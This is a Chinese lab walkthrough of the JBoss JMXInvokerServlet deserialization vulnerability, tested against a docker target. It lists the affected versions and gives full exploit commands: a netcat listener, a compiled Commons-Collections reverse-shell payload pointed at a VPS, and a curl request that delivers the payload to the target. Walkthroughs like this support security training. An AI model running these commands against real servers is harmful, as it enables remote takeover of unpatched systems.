前言
影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
一、启动靶机
docker-compose build
docker-compose up -d
二、漏洞挖掘
访问如下URL时,出现下载文件
http://192.168.150.146:8080/invoker/JMXInvokerServlet
三、漏洞利用
1、下载利用工具:JavaDeserH2HC(http://scan.javasec.cn/java/JavaDeserH2HC.zip)
2、用VPS nc监听8888端口
nc -lvp 8888
3、把上面下载到的工具复制到 vps 里面,解压即可,进入解压目录,输入如下命令:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap VPS_IP:8888
(IP是VPS的ip,8888是下面要监听的端口,这里写哪个端口下面就要监听哪个端口)
4、因为我公网vps访问不到靶机,所以我把生成ReverseShellCommonsCollectionsHashMap.ser文件放到真实主机执行
curl http://192.168.150.146:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
上述命令的IP为靶机,即目标。
四、检验
在VPS上,nc收到反弹shell
参考:
https://blog.csdn.net/Aaron_Miller/article/details/106623088